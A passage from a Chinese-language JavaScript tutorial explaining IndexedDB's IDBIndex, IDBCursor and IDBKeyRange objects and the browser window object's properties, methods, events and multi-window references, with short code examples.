4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var transaction = db.transaction(['contactsList'], 'readonly');
var objectStore = transaction.objectStore('contactsList');
var myIndex = objectStore.index('lName');

myIndex.openCursor().onsuccess = function (event) {
var cursor = event.target.result;
if (cursor) {
var tableRow = document.createElement('tr');
tableRow.innerHTML = '<td>' + cursor.value.id + '</td>'
+ '<td>' + cursor.value.lName + '</td>'
+ '<td>' + cursor.value.fName + '</td>'
+ '<td>' + cursor.value.jTitle + '</td>'
+ '<td>' + cursor.value.company + '</td>'
+ '<td>' + cursor.value.eMail + '</td>'
+ '<td>' + cursor.value.phone + '</td>'
+ '<td>' + cursor.value.age + '</td>';
tableEntry.appendChild(tableRow);

cursor.continue();
} else {
console.log('Entries all displayed.');
}
};

IDBIndex 对象有以下属性。

  • IDBIndex.name:字符串,索引的名称。
  • IDBIndex.objectStore:索引所在的对象仓库。
  • IDBIndex.keyPath:索引的主键。
  • IDBIndex.multiEntry:布尔值,针对keyPath为数组的情况,如果设为true,创建数组时,每个数组成员都会有一个条目,否则每个数组都只有一个条目。
  • IDBIndex.unique:布尔值,表示创建索引时是否允许相同的主键。

IDBIndex 对象有以下方法,它们都是异步的,立即返回的都是一个 IDBRequest 对象。

  • IDBIndex.count():用来获取记录的数量。它可以接受主键或 IDBKeyRange 对象作为参数,这时只返回符合主键的记录数量,否则返回所有记录的数量。
  • IDBIndex.get(key):用来获取符合指定主键的数据记录。
  • IDBIndex.getKey(key):用来获取指定的主键。
  • IDBIndex.getAll():用来获取所有的数据记录。它可以接受两个参数,都是可选的,第一个参数用来指定主键,第二个参数用来指定返回记录的数量。如果省略这两个参数,则返回所有记录。由于获取成功时,浏览器必须生成所有对象,所以对性能有影响。如果数据集比较大,建议使用 IDBCursor 对象。
  • IDBIndex.getAllKeys():该方法与IDBIndex.getAll()方法相似,区别是获取所有主键。
  • IDBIndex.openCursor():用来获取一个 IDBCursor 对象,用来遍历索引里面的所有条目。
  • IDBIndex.openKeyCursor():该方法与IDBIndex.openCursor()方法相似,区别是遍历所有条目的主键。

IDBCursor 对象

IDBCursor 对象代表指针对象,用来遍历数据仓库(IDBObjectStore)或索引(IDBIndex)的记录。

IDBCursor 对象一般通过IDBObjectStore.openCursor()方法获得。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var transaction = db.transaction(['rushAlbumList'], 'readonly');
var objectStore = transaction.objectStore('rushAlbumList');

objectStore.openCursor(null, 'next').onsuccess = function(event) {
var cursor = event.target.result;
if (cursor) {
var listItem = document.createElement('li');
listItem.innerHTML = cursor.value.albumTitle + ', ' + cursor.value.year;
list.appendChild(listItem);

console.log(cursor.source);
cursor.continue();
} else {
console.log('Entries all displayed.');
}
};
};

IDBCursor 对象的属性。

  • IDBCursor.source:返回正在遍历的对象仓库或索引。
  • IDBCursor.direction:字符串,表示指针遍历的方向。共有四个可能的值:next(从头开始向后遍历)、nextunique(从头开始向后遍历,重复的值只遍历一次)、prev(从尾部开始向前遍历)、prevunique(从尾部开始向前遍历,重复的值只遍历一次)。该属性通过IDBObjectStore.openCursor()方法的第二个参数指定,一旦指定就不能改变了。
  • IDBCursor.key:返回当前记录的主键。
  • IDBCursor.value:返回当前记录的数据值。
  • IDBCursor.primaryKey:返回当前记录的主键。对于数据仓库(objectStore)来说,这个属性等同于 IDBCursor.key;对于索引,IDBCursor.key 返回索引的位置值,该属性返回数据记录的主键。

IDBCursor 对象有如下方法。

  • IDBCursor.advance(n):指针向前移动 n 个位置。
  • IDBCursor.continue():指针向前移动一个位置。它可以接受一个主键作为参数,这时会跳转到这个主键。
  • IDBCursor.continuePrimaryKey():该方法需要两个参数,第一个是key,第二个是primaryKey,将指针移到符合这两个参数的位置。
  • IDBCursor.delete():用来删除当前位置的记录,返回一个 IDBRequest 对象。该方法不会改变指针的位置。
  • IDBCursor.update():用来更新当前位置的记录,返回一个 IDBRequest 对象。它的参数是要写入数据库的新的值。

IDBKeyRange 对象

IDBKeyRange 对象代表数据仓库(object store)里面的一组主键。根据这组主键,可以获取数据仓库或索引里面的一组记录。

IDBKeyRange 可以只包含一个值,也可以指定上限和下限。它有四个静态方法,用来指定主键的范围。

  • IDBKeyRange.lowerBound():指定下限。
  • IDBKeyRange.upperBound():指定上限。
  • IDBKeyRange.bound():同时指定上下限。
  • IDBKeyRange.only():指定只包含一个值。

下面是一些代码实例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// All keys ≤ x
var r1 = IDBKeyRange.upperBound(x);

// All keys < x
var r2 = IDBKeyRange.upperBound(x, true);

// All keys ≥ y
var r3 = IDBKeyRange.lowerBound(y);

// All keys > y
var r4 = IDBKeyRange.lowerBound(y, true);

// All keys ≥ x && ≤ y
var r5 = IDBKeyRange.bound(x, y);

// All keys > x &&< y
var r6 = IDBKeyRange.bound(x, y, true, true);

// All keys > x && ≤ y
var r7 = IDBKeyRange.bound(x, y, true, false);

// All keys ≥ x &&< y
var r8 = IDBKeyRange.bound(x, y, false, true);

// The key = z
var r9 = IDBKeyRange.only(z);

IDBKeyRange.lowerBound()IDBKeyRange.upperBound()IDBKeyRange.bound()这三个方法默认包括端点值,可以传入一个布尔值,修改这个属性。

与之对应,IDBKeyRange 对象有四个只读属性。

  • IDBKeyRange.lower:返回下限
  • IDBKeyRange.lowerOpen:布尔值,表示下限是否为开区间(即下限是否排除在范围之外)
  • IDBKeyRange.upper:返回上限
  • IDBKeyRange.upperOpen:布尔值,表示上限是否为开区间(即上限是否排除在范围之外)

IDBKeyRange 实例对象生成以后,将它作为参数输入 IDBObjectStore 或 IDBIndex 对象的openCursor()方法,就可以在所设定的范围内读取数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var t = db.transaction(['people'], 'readonly');
var store = t.objectStore('people');
var index = store.index('name');

var range = IDBKeyRange.bound('B', 'D');

index.openCursor(range).onsuccess = function (e) {
var cursor = e.target.result;
if (cursor) {
console.log(cursor.key + ':');

for (var field in cursor.value) {
console.log(cursor.value[field]);
}
cursor.continue();
}
}

IDBKeyRange 有一个实例方法includes(key),返回一个布尔值,表示某个主键是否包含在当前这个主键组之内。

1
2
3
4
var keyRangeValue = IDBKeyRange.bound('A', 'K', false, false);

keyRangeValue.includes('F') // true
keyRangeValue.includes('W') // false

参考链接

window 对象

概述

浏览器里面,window对象(注意,w为小写)指当前的浏览器窗口。它也是当前页面的顶层对象,即最高一层的对象,所有其他对象都是它的下属。一个变量如果未声明,那么默认就是顶层对象的属性。

1
2
a = 1;
window.a // 1

上面代码中,a是一个没有声明就直接赋值的变量,它自动成为顶层对象的属性。

window有自己的实体含义,其实不适合当作最高一层的顶层对象,这是一个语言的设计失误。最早,设计这门语言的时候,原始设想是语言内置的对象越少越好,这样可以提高浏览器的性能。因此,语言设计者 Brendan Eich 就把window对象当作顶层对象,所有未声明就赋值的变量都自动变成window对象的属性。这种设计使得编译阶段无法检测出未声明变量,但到了今天已经没有办法纠正了。

window 对象的属性

window.name

window.name属性是一个字符串,表示当前浏览器窗口的名字。窗口不一定需要名字,这个属性主要配合超链接和表单的target属性使用。

1
2
3
window.name = 'Hello World!';
console.log(window.name)
// "Hello World!"

该属性只能保存字符串,如果写入的值不是字符串,会自动转成字符串。各个浏览器对这个值的储存容量有所不同,但是一般来说,可以高达几MB。

只要浏览器窗口不关闭,这个属性是不会消失的。举例来说,访问a.com时,该页面的脚本设置了window.name,接下来在同一个窗口里面载入了b.com,新页面的脚本可以读到上一个网页设置的window.name。页面刷新也是这种情况。一旦浏览器窗口关闭后,该属性保存的值就会消失,因为这时窗口已经不存在了。

window.closed,window.opener

window.closed属性返回一个布尔值,表示窗口是否关闭。

1
window.closed // false

上面代码检查当前窗口是否关闭。这种检查意义不大,因为只要能运行代码,当前窗口肯定没有关闭。这个属性一般用来检查,使用脚本打开的新窗口是否关闭。

1
2
3
4
5
var popup = window.open();

if ((popup !== null) && !popup.closed) {
// 窗口仍然打开着
}

window.opener属性表示打开当前窗口的父窗口。如果当前窗口没有父窗口(即直接在地址栏输入打开),则返回null

1
window.open().opener === window // true

上面表达式会打开一个新窗口,然后返回true

如果两个窗口之间不需要通信,建议将子窗口的opener属性显式设为null,这样可以减少一些安全隐患。

1
2
var newWin = window.open('example.html', 'newWindow', 'height=400,width=400');
newWin.opener = null;

上面代码中,子窗口的opener属性设为null,两个窗口之间就没办法再联系了。

通过opener属性,可以获得父窗口的全局属性和方法,但只限于两个窗口同源的情况(参见《同源限制》一章),且其中一个窗口由另一个打开。<a>元素添加rel="noopener"属性,可以防止新打开的窗口获取父窗口,减轻被恶意网站修改父窗口 URL 的风险。

1
2
3
<a href="https://an.evil.site" target="_blank" rel="noopener">
恶意网站
</a>

window.self,window.window

window.selfwindow.window属性都指向窗口本身。这两个属性只读。

1
2
window.self === window // true
window.window === window // true

window.frames,window.length

window.frames属性返回一个类似数组的对象,成员为页面内所有框架窗口,包括frame元素和iframe元素。window.frames[0]表示页面中第一个框架窗口。

如果iframe元素设置了idname属性,那么就可以用属性值,引用这个iframe窗口。比如<iframe name="myIFrame">可以用frames['myIFrame']或者frames.myIFrame来引用。

frames属性实际上是window对象的别名。

1
frames === window // true

因此,frames[0]也可以用window[0]表示。但是,从语义上看,frames更清晰,而且考虑到window还是全局对象,因此推荐表示多窗口时,总是使用frames[0]的写法。更多介绍请看下文的《多窗口操作》部分。

window.length属性返回当前网页包含的框架总数。如果当前网页不包含frameiframe元素,那么window.length就返回0

1
window.frames.length === window.length // true

上面代码表示,window.frames.lengthwindow.length应该是相等的。

window.frameElement

window.frameElement属性主要用于当前窗口嵌在另一个网页的情况(嵌入<object><iframe><embed>元素),返回当前窗口所在的那个元素节点。如果当前窗口是顶层窗口,或者所嵌入的那个网页不是同源的,该属性返回null

1
2
3
4
5
6
7
8
// HTML 代码如下
// <iframe src="about.html"></iframe>

// 下面的脚本在 about.html 里面
var frameEl = window.frameElement;
if (frameEl) {
frameEl.src = 'other.html';
}

上面代码中,frameEl变量就是<iframe>元素。

window.top,window.parent

window.top属性指向最顶层窗口,主要用于在框架窗口(frame)里面获取顶层窗口。

window.parent属性指向父窗口。如果当前窗口没有父窗口,window.parent指向自身。

1
2
3
if (window.parent !== window.top) {
// 表明当前窗口嵌入不止一层
}

对于不包含框架的网页,这两个属性等同于window对象。

window.status

window.status属性用于读写浏览器状态栏的文本。但是,现在很多浏览器都不允许改写状态栏文本,所以使用这个方法不一定有效。

window.devicePixelRatio

window.devicePixelRatio属性返回一个数值,表示一个 CSS 像素的大小与一个物理像素的大小之间的比率。也就是说,它表示一个 CSS 像素由多少个物理像素组成。它可以用于判断用户的显示环境,如果这个比率较大,就表示用户正在使用高清屏幕,因此可以显示较大像素的图片。

位置大小属性

以下属性返回window对象的位置信息和大小信息。

(1)window.screenX,window.screenY

window.screenXwindow.screenY属性,返回浏览器窗口左上角相对于当前屏幕左上角的水平距离和垂直距离(单位像素)。这两个属性只读。

(2) window.innerHeight,window.innerWidth

window.innerHeightwindow.innerWidth属性,返回网页在当前窗口中可见部分的高度和宽度,即“视口”(viewport)的大小(单位像素)。这两个属性只读。

用户放大网页的时候(比如将网页从100%的大小放大为200%),这两个属性会变小。因为这时网页的像素大小不变(比如宽度还是960像素),只是每个像素占据的屏幕空间变大了,因为可见部分(视口)就变小了。

注意,这两个属性值包括滚动条的高度和宽度。

(3)window.outerHeight,window.outerWidth

window.outerHeightwindow.outerWidth属性返回浏览器窗口的高度和宽度,包括浏览器菜单和边框(单位像素)。这两个属性只读。

(4)window.scrollX,window.scrollY

window.scrollX属性返回页面的水平滚动距离,window.scrollY属性返回页面的垂直滚动距离,单位都为像素。这两个属性只读。

注意,这两个属性的返回值不是整数,而是双精度浮点数。如果页面没有滚动,它们的值就是0

举例来说,如果用户向下拉动了垂直滚动条75像素,那么window.scrollY就是75左右。用户水平向右拉动水平滚动条200像素,window.scrollX就是200左右。

1
2
3
if (window.scrollY < 75) {
window.scroll(0, 75);
}

上面代码中,如果页面向下滚动的距离小于75像素,那么页面向下滚动75像素。

(5)window.pageXOffset,window.pageYOffset

window.pageXOffset属性和window.pageYOffset属性,是window.scrollXwindow.scrollY别名。

组件属性

组件属性返回浏览器的组件对象。这样的属性有下面几个。

  • window.locationbar:地址栏对象
  • window.menubar:菜单栏对象
  • window.scrollbars:窗口的滚动条对象
  • window.toolbar:工具栏对象
  • window.statusbar:状态栏对象
  • window.personalbar:用户安装的个人工具栏对象

这些对象的visible属性是一个布尔值,表示这些组件是否可见。这些属性只读。

1
2
3
4
5
6
window.locationbar.visible
window.menubar.visible
window.scrollbars.visible
window.toolbar.visible
window.statusbar.visible
window.personalbar.visible

全局对象属性

全局对象属性指向一些浏览器原生的全局对象。

  • window.document:指向document对象,详见《document 对象》一章。注意,这个属性有同源限制。只有来自同源的脚本才能读取这个属性。
  • window.location:指向Location对象,用于获取当前窗口的 URL 信息。它等同于document.location属性,详见《Location 对象》一章。
  • window.navigator:指向Navigator对象,用于获取环境信息,详见《Navigator 对象》一章。
  • window.history:指向History对象,表示浏览器的浏览历史,详见《History 对象》一章。
  • window.localStorage:指向本地储存的 localStorage 数据,详见《Storage 接口》一章。
  • window.sessionStorage:指向本地储存的 sessionStorage 数据,详见《Storage 接口》一章。
  • window.console:指向console对象,用于操作控制台,详见《console 对象》一章。
  • window.screen:指向Screen对象,表示屏幕信息,详见《Screen 对象》一章。

window.isSecureContext

window.isSecureContext属性返回一个布尔值,表示当前窗口是否处在加密环境。如果是 HTTPS 协议,就是true,否则就是false

window 对象的方法

window.alert(),window.prompt(),window.confirm()

window.alert()window.prompt()window.confirm()都是浏览器与用户互动的全局方法。它们会弹出不同的对话框,要求用户做出回应。注意,这三个方法弹出的对话框,都是浏览器统一规定的式样,无法定制。

(1)window.alert()

window.alert()方法弹出的对话框,只有一个“确定”按钮,往往用来通知用户某些信息。

1
window.alert('Hello World');

用户只有点击“确定”按钮,对话框才会消失。对话框弹出期间,浏览器窗口处于冻结状态,如果不点“确定”按钮,用户什么也干不了。

window.alert()方法的参数只能是字符串,没法使用 CSS 样式,但是可以用\n指定换行。

1
alert('本条提示\n分成两行');

(2)window.prompt()

window.prompt()方法弹出的对话框,提示文字的下方,还有一个输入框,要求用户输入信息,并有“确定”和“取消”两个按钮。它往往用来获取用户输入的数据。

1
var result = prompt('您的年龄?', 25)

上面代码会跳出一个对话框,文字提示为“您的年龄?”,要求用户在对话框中输入自己的年龄(默认显示25)。用户填入的值,会作为返回值存入变量result

window.prompt()的返回值有两种情况,可能是字符串(有可能是空字符串),也有可能是null。具体分成三种情况。

  1. 用户输入信息,并点击“确定”,则用户输入的信息就是返回值。
  2. 用户没有输入信息,直接点击“确定”,则输入框的默认值就是返回值。
  3. 用户点击了“取消”(或者按了 ESC 按钮),则返回值是null

window.prompt()方法的第二个参数是可选的,但是最好总是提供第二个参数,作为输入框的默认值。

(3)window.confirm()

window.confirm()方法弹出的对话框,除了提示信息之外,只有“确定”和“取消”两个按钮,往往用来征询用户是否同意。

1
var result = confirm('你最近好吗?');

上面代码弹出一个对话框,上面只有一行文字“你最近好吗?”,用户选择点击“确定”或“取消”。

confirm方法返回一个布尔值,如果用户点击“确定”,返回true;如果用户点击“取消”,则返回false

1
2
3
4
5
6
var okay = confirm('Please confirm this message.');
if (okay) {
// 用户按下“确定”
} else {
// 用户按下“取消”
}

confirm的一个用途是,用户离开当前页面时,弹出一个对话框,问用户是否真的要离开。

1
2
3
window.onunload = function () {
return window.confirm('你确定要离开当面页面吗?');
}

这三个方法都具有堵塞效应,一旦弹出对话框,整个页面就是暂停执行,等待用户做出反应。

window.open(), window.close(),window.stop()

(1)window.open()

window.open方法用于新建另一个浏览器窗口,类似于浏览器菜单的新建窗口选项。它会返回新窗口的引用,如果无法新建窗口,则返回null

1
var popup = window.open('somefile.html');

上面代码会让浏览器弹出一个新建窗口,网址是当前域名下的somefile.html

open方法一共可以接受三个参数。

1
window.open(url, windowName, [windowFeatures])
  • url:字符串,表示新窗口的网址。如果省略,默认网址就是about:blank
  • windowName:字符串,表示新窗口的名字。如果该名字的窗口已经存在,则占用该窗口,不再新建窗口。如果省略,就默认使用_blank,表示新建一个没有名字的窗口。另外还有几个预设值,_self表示当前窗口,_top表示顶层窗口,_parent表示上一层窗口。
  • windowFeatures:字符串,内容为逗号分隔的键值对(详见下文),表示新窗口的参数,比如有没有提示栏、工具条等等。如果省略,则默认打开一个完整 UI 的新窗口。如果新建的是一个已经存在的窗口,则该参数不起作用,浏览器沿用以前窗口的参数。

下面是一个例子。

1
2
3
4
5
var popup = window.open(
'somepage.html',
'DefinitionsWindows',
'height=200,width=200,location=no,status=yes,resizable=yes,scrollbars=yes'
);

上面代码表示,打开的新窗口高度和宽度都为200像素,没有地址栏,但有状态栏和滚动条,允许用户调整大小。

第三个参数可以设定如下属性。

  • left:新窗口距离屏幕最左边的距离(单位像素)。注意,新窗口必须是可见的,不能设置在屏幕以外的位置。
  • top:新窗口距离屏幕最顶部的距离(单位像素)。
  • height:新窗口内容区域的高度(单位像素),不得小于100。
  • width:新窗口内容区域的宽度(单位像素),不得小于100。
  • outerHeight:整个浏览器窗口的高度(单位像素),不得小于100。
  • outerWidth:整个浏览器窗口的宽度(单位像素),不得小于100。
  • menubar:是否显示菜单栏。
  • toolbar:是否显示工具栏。
  • location:是否显示地址栏。
  • personalbar:是否显示用户自己安装的工具栏。
  • status:是否显示状态栏。
  • dependent:是否依赖父窗口。如果依赖,那么父窗口最小化,该窗口也最小化;父窗口关闭,该窗口也关闭。
  • minimizable:是否有最小化按钮,前提是dialog=yes
  • noopener:新窗口将与父窗口切断联系,即新窗口的window.opener属性返回null,父窗口的window.open()方法也返回null
  • resizable:新窗口是否可以调节大小。
  • scrollbars:是否允许新窗口出现滚动条。
  • dialog:新窗口标题栏是否出现最大化、最小化、恢复原始大小的控件。
  • titlebar:新窗口是否显示标题栏。
  • alwaysRaised:是否显示在所有窗口的顶部。
  • alwaysLowered:是否显示在父窗口的底下。
  • close:新窗口是否显示关闭按钮。

对于那些可以打开和关闭的属性,设为yes1或不设任何值就表示打开,比如status=yesstatus=1status都会得到同样的结果。如果想设为关闭,不用写no,而是直接省略这个属性即可。也就是说,如果在第三个参数中设置了一部分属性,其他没有被设置的yes/no属性都会被设成no,只有titlebar和关闭按钮除外(它们的值默认为yes)。

上面这些属性,属性名与属性值之间用等号连接,属性与属性之间用逗号分隔。

1
'height=200,width=200,location=no,status=yes,resizable=yes,scrollbars=yes'

另外,open()方法的第二个参数虽然可以指定已经存在的窗口,但是不等于可以任意控制其他窗口。为了防止被不相干的窗口控制,浏览器只有在两个窗口同源,或者目标窗口被当前网页打开的情况下,才允许open方法指向该窗口。

window.open方法返回新窗口的引用。

1
2
var windowB = window.open('windowB.html', 'WindowB');
windowB.window.name // "WindowB"

注意,如果新窗口和父窗口不是同源的(即不在同一个域),它们彼此不能获取对方窗口对象的内部属性。

下面是另一个例子。

1
2
3
var w = window.open();
console.log('已经打开新窗口');
w.location = 'http://example.com';

上面代码先打开一个新窗口,然后在该窗口弹出一个对话框,再将网址导向example.com

由于open这个方法很容易被滥用,许多浏览器默认都不允许脚本自动新建窗口。只允许在用户点击链接或按钮时,脚本做出反应,弹出新窗口。因此,有必要检查一下打开新窗口是否成功。

1
2
3
4
var popup = window.open();
if (popup === null) {
// 新建窗口失败
}

(2)window.close()

window.close方法用于关闭当前窗口,一般只用来关闭window.open方法新建的窗口。

1
popup.close()

该方法只对顶层窗口有效,iframe框架之中的窗口使用该方法无效。

(3)window.stop()

window.stop()方法完全等同于单击浏览器的停止按钮,会停止加载图像、视频等正在或等待加载的对象。

1
window.stop()

window.moveTo(),window.moveBy()

window.moveTo()方法用于移动浏览器窗口到指定位置。它接受两个参数,分别是窗口左上角距离屏幕左上角的水平距离和垂直距离,单位为像素。

1
window.moveTo(100, 200)

上面代码将窗口移动到屏幕(100, 200)的位置。

window.moveBy方法将窗口移动到一个相对位置。它接受两个参数,分布是窗口左上角向右移动的水平距离和向下移动的垂直距离,单位为像素。

1
window.moveBy(25, 50)

上面代码将窗口向右移动25像素、向下移动50像素。

为了防止有人滥用这两个方法,随意移动用户的窗口,目前只有一种情况,浏览器允许用脚本移动窗口:该窗口是用window.open方法新建的,并且它所在的 Tab 页是当前窗口里面唯一的。除此以外的情况,使用上面两个方法都是无效的。

window.resizeTo(),window.resizeBy()

window.resizeTo()方法用于缩放窗口到指定大小。

它接受两个参数,第一个是缩放后的窗口宽度(outerWidth属性,包含滚动条、标题栏等等),第二个是缩放后的窗口高度(outerHeight属性)。

1
2
3
4
window.resizeTo(
window.screen.availWidth / 2,
window.screen.availHeight / 2
)

上面代码将当前窗口缩放到,屏幕可用区域的一半宽度和高度。

window.resizeBy()方法用于缩放窗口。它与window.resizeTo()的区别是,它按照相对的量缩放,window.resizeTo()需要给出缩放后的绝对大小。

它接受两个参数,第一个是水平缩放的量,第二个是垂直缩放的量,单位都是像素。

1
window.resizeBy(-200, -200)

上面的代码将当前窗口的宽度和高度,都缩小200像素。

window.scrollTo(),window.scroll(),window.scrollBy()

window.scrollTo方法用于将文档滚动到指定位置。它接受两个参数,表示滚动后位于窗口左上角的页面坐标。

1
window.scrollTo(x-coord, y-coord)

它也可以接受一个配置对象作为参数。

1
window.scrollTo(options)

配置对象options有三个属性。

  • top:滚动后页面左上角的垂直坐标,即 y 坐标。
  • left:滚动后页面左上角的水平坐标,即 x 坐标。
  • behavior:字符串,表示滚动的方式,有三个可能值(smoothinstantauto),默认值为auto
1
2
3
4
window.scrollTo({
top: 1000,
behavior: 'smooth'
});

window.scroll()方法是window.scrollTo()方法的别名。

window.scrollBy()方法用于将网页滚动指定距离(单位像素)。它接受两个参数:水平向右滚动的像素,垂直向下滚动的像素。

1
window.scrollBy(0, window.innerHeight)

上面代码用于将网页向下滚动一屏。

如果不是要滚动整个文档,而是要滚动某个元素,可以使用下面三个属性和方法。

  • Element.scrollTop
  • Element.scrollLeft
  • Element.scrollIntoView()

window.print()

window.print方法会跳出打印对话框,与用户点击菜单里面的“打印”命令效果相同。

常见的打印按钮代码如下。

1
2
3
document.getElementById('printLink').onclick = function () {
  window.print();
}

非桌面设备(比如手机)可能没有打印功能,这时可以这样判断。

1
2
3
if (typeof window.print === 'function') {
// 支持打印功能
}

window.focus(),window.blur()

window.focus()方法会激活窗口,使其获得焦点,出现在其他窗口的前面。

1
2
3
4
5
var popup = window.open('popup.html', 'Popup Window');

if ((popup !== null) && !popup.closed) {
  popup.focus();
}

上面代码先检查popup窗口是否依然存在,确认后激活该窗口。

window.blur()方法将焦点从窗口移除。

当前窗口获得焦点时,会触发focus事件;当前窗口失去焦点时,会触发blur事件。

window.getSelection()

window.getSelection方法返回一个Selection对象,表示用户现在选中的文本。

1
var selObj = window.getSelection();

使用Selection对象的toString方法可以得到选中的文本。

1
var selectedText = selObj.toString();

window.getComputedStyle(),window.matchMedia()

window.getComputedStyle()方法接受一个元素节点作为参数,返回一个包含该元素的最终样式信息的对象,详见《CSS 操作》一章。

window.matchMedia()方法用来检查 CSS 的mediaQuery语句,详见《CSS 操作》一章。

window.requestAnimationFrame()

window.requestAnimationFrame()方法跟setTimeout类似,都是推迟某个函数的执行。不同之处在于,setTimeout必须指定推迟的时间,window.requestAnimationFrame()则是推迟到浏览器下一次重流时执行,执行完才会进行下一次重绘。重绘通常是 16ms 执行一次,不过浏览器会自动调节这个速率,比如网页切换到后台 Tab 页时,requestAnimationFrame()会暂停执行。

如果某个函数会改变网页的布局,一般就放在window.requestAnimationFrame()里面执行,这样可以节省系统资源,使得网页效果更加平滑。因为慢速设备会用较慢的速率重流和重绘,而速度更快的设备会有更快的速率。

该方法接受一个回调函数作为参数。

1
window.requestAnimationFrame(callback)

上面代码中,callback是一个回调函数。callback执行时,它的参数就是系统传入的一个高精度时间戳(performance.now()的返回值),单位是毫秒,表示距离网页加载的时间。

window.requestAnimationFrame()的返回值是一个整数,这个整数可以传入window.cancelAnimationFrame(),用来取消回调函数的执行。

下面是一个window.requestAnimationFrame()执行网页动画的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var element = document.getElementById('animate');
element.style.position = 'absolute';

var start = null;

function step(timestamp) {
if (!start) start = timestamp;
var progress = timestamp - start;
// 元素不断向左移,最大不超过200像素
element.style.left = Math.min(progress / 10, 200) + 'px';
// 如果距离第一次执行不超过 2000 毫秒,
// 就继续执行动画
if (progress < 2000) {
window.requestAnimationFrame(step);
}
}

window.requestAnimationFrame(step);

上面代码定义了一个网页动画,持续时间是2秒,会让元素向右移动。

window.requestIdleCallback()

window.requestIdleCallback()setTimeout类似,也是将某个函数推迟执行,但是它保证将回调函数推迟到系统资源空闲时执行。也就是说,如果某个任务不是很关键,就可以使用window.requestIdleCallback()将其推迟执行,以保证网页性能。

它跟window.requestAnimationFrame()的区别在于,后者指定回调函数在下一次浏览器重排时执行,问题在于下一次重排时,系统资源未必空闲,不一定能保证在16毫秒之内完成;window.requestIdleCallback()可以保证回调函数在系统资源空闲时执行。

该方法接受一个回调函数和一个配置对象作为参数。配置对象可以指定一个推迟执行的最长时间,如果过了这个时间,回调函数不管系统资源有无空虚,都会执行。

1
window.requestIdleCallback(callback[, options])

callback参数是一个回调函数。该回调函数执行时,系统会传入一个IdleDeadline对象作为参数。IdleDeadline对象有一个didTimeout属性(布尔值,表示是否为超时调用)和一个timeRemaining()方法(返回该空闲时段剩余的毫秒数)。

options参数是一个配置对象,目前只有timeout一个属性,用来指定回调函数推迟执行的最大毫秒数。该参数可选。

window.requestIdleCallback()方法返回一个整数。该整数可以传入window.cancelIdleCallback()取消回调函数。

下面是一个例子。

1
2
3
4
5
6
7
requestIdleCallback(myNonEssentialWork);

function myNonEssentialWork(deadline) {
while (deadline.timeRemaining() > 0) {
doWorkIfNeeded();
}
}

上面代码中,requestIdleCallback()用来执行非关键任务myNonEssentialWork。该任务先确认本次空闲时段有剩余时间,然后才真正开始执行任务。

下面是指定timeout的例子。

1
requestIdleCallback(processPendingAnalyticsEvents, { timeout: 2000 });

上面代码指定,processPendingAnalyticsEvents必须在未来2秒之内执行。

如果由于超时导致回调函数执行,则deadline.timeRemaining()返回0deadline.didTimeout返回true

如果多次执行window.requestIdleCallback(),指定多个回调函数,那么这些回调函数将排成一个队列,按照先进先出的顺序执行。

事件

window对象可以接收以下事件。

load 事件和 onload 属性

load事件发生在文档在浏览器窗口加载完毕时。window.onload属性可以指定这个事件的回调函数。

1
2
3
4
5
6
7
window.onload = function() {
var elements = document.getElementsByClassName('example');
for (var i = 0; i < elements.length; i++) {
var elt = elements[i];
// ...
}
};

上面代码在网页加载完毕后,获取指定元素并进行处理。

error 事件和 onerror 属性

浏览器脚本发生错误时,会触发window对象的error事件。我们可以通过window.onerror属性对该事件指定回调函数。

1
2
3
window.onerror = function (message, filename, lineno, colno, error) {
console.log("出错了!--> %s", error.stack);
};

由于历史原因,windowerror事件的回调函数不接受错误对象作为参数,而是一共可以接受五个参数,它们的含义依次如下。

  • 出错信息
  • 出错脚本的网址
  • 行号
  • 列号
  • 错误对象

老式浏览器只支持前三个参数。

并不是所有的错误,都会触发 JavaScript 的error事件(即让 JavaScript 报错)。一般来说,只有 JavaScript 脚本的错误,才会触发这个事件,而像资源文件不存在之类的错误,都不会触发。

下面是一个例子,如果整个页面未捕获错误超过3个,就显示警告。

1
2
3
4
5
6
7
8
window.onerror = function(msg, url, line) {
if (onerror.num++ > onerror.max) {
alert('ERROR: ' + msg + '\n' + url + ':' + line);
return true;
}
}
onerror.max = 3;
onerror.num = 0;

需要注意的是,如果脚本网址与网页网址不在同一个域(比如使用了 CDN),浏览器根本不会提供详细的出错信息,只会提示出错,错误类型是“Script error.”,行号为0,其他信息都没有。这是浏览器防止向外部脚本泄漏信息。一个解决方法是在脚本所在的服务器,设置Access-Control-Allow-Origin的 HTTP 头信息。

1
Access-Control-Allow-Origin: *

然后,在网页的<script>标签中设置crossorigin属性。

1
<script crossorigin="anonymous" src="//example.com/file.js"></script>

上面代码的crossorigin="anonymous"表示,读取文件不需要身份信息,即不需要 cookie 和 HTTP 认证信息。如果设为crossorigin="use-credentials",就表示浏览器会上传 cookie 和 HTTP 认证信息,同时还需要服务器端打开 HTTP 头信息Access-Control-Allow-Credentials

window 对象的事件监听属性

除了具备元素节点都有的 GlobalEventHandlers 接口,window对象还具有以下的事件监听函数属性。

  • window.onafterprintafterprint事件的监听函数。
  • window.onbeforeprintbeforeprint事件的监听函数。
  • window.onbeforeunloadbeforeunload事件的监听函数。
  • window.onhashchangehashchange事件的监听函数。
  • window.onlanguagechange: languagechange的监听函数。
  • window.onmessagemessage事件的监听函数。
  • window.onmessageerrorMessageError事件的监听函数。
  • window.onofflineoffline事件的监听函数。
  • window.ononlineonline事件的监听函数。
  • window.onpagehidepagehide事件的监听函数。
  • window.onpageshowpageshow事件的监听函数。
  • window.onpopstatepopstate事件的监听函数。
  • window.onstoragestorage事件的监听函数。
  • window.onunhandledrejection:未处理的 Promise 对象的reject事件的监听函数。
  • window.onunloadunload事件的监听函数。

多窗口操作

由于网页可以使用iframe元素,嵌入其他网页,因此一个网页之中会形成多个窗口。如果子窗口之中又嵌入别的网页,就会形成多级窗口。

窗口的引用

各个窗口之中的脚本,可以引用其他窗口。浏览器提供了一些特殊变量,用来返回其他窗口。

  • top:顶层窗口,即最上层的那个窗口
  • parent:父窗口
  • self:当前窗口,即自身

下面代码可以判断,当前窗口是否为顶层窗口。

1
2
3
4
5
if (window.top === window.self) {
// 当前窗口是顶层窗口
} else {
// 当前窗口是子窗口
}

下面的代码让父窗口的访问历史后退一次。

1
window.parent.history.back();

